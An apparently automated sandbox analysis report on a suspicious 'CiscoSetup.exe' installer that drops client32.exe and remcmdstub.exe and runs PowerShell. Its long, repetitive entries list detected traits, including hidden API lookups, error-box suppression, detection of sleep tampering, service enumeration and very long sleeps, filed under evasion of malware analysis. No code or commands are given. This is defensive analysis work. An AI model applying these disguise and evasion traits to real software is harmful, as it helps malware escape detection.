Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_110251B0 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	7_2_110251B0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_111575D0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	7_2_111575D0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_111575D0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	7_2_111575D0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11025600 IsIconic,BringWindowToTop,GetCurrentThreadId,	7_2_11025600
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_111579D0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	7_2_111579D0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_110238D0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	7_2_110238D0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_110BFDD0 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	7_2_110BFDD0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11023FB0 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	7_2_11023FB0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_110CA3C0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	7_2_110CA3C0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_110CA3C0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	7_2_110CA3C0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11110220 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	7_2_11110220
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_110251B0 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	8_2_110251B0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_111575D0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	8_2_111575D0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_111575D0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	8_2_111575D0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11025600 IsIconic,BringWindowToTop,GetCurrentThreadId,	8_2_11025600
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_111579D0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	8_2_111579D0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_110238D0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	8_2_110238D0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_110BFDD0 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	8_2_110BFDD0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11023FB0 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	8_2_11023FB0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_110CA3C0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	8_2_110CA3C0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_110CA3C0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	8_2_110CA3C0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11110220 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	8_2_11110220

Extensive use of GetProcAddress (often used to hide API calls)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

7_2_11029230

Source: C:\Users\user\Desktop\CiscoSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685991F0		7_2_685991F0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685A4F30		7_2_685A4F30

Contains functionality to enumerate running services

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: OpenSCManagerA,EnumServicesStatusA,EnumServicesStatusA,LoadLibraryA,GetProcAddress,OpenServiceA,WideCharToMultiByte,CloseServiceHandle,_memset,_memset,FreeLibrary,CloseServiceHandle,

7_2_11127110

Contains long sleeps (>= 3 min)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6962	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2767	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Window / User API: threadDelayed 450	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Window / User API: threadDelayed 7993	Jump to behavior

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\ProxyCon.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\csc_ui_toast.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Cisco\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-0E14V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-MJ3RA.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-Q67GI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\acdownloader.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnipsec.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-HL1L8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-24FVM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-7A47V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-T3UDO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140_2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\csc_ui_setup.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\acwebhelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-N867I.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-9JGUE.tmp	Jump to dropped file
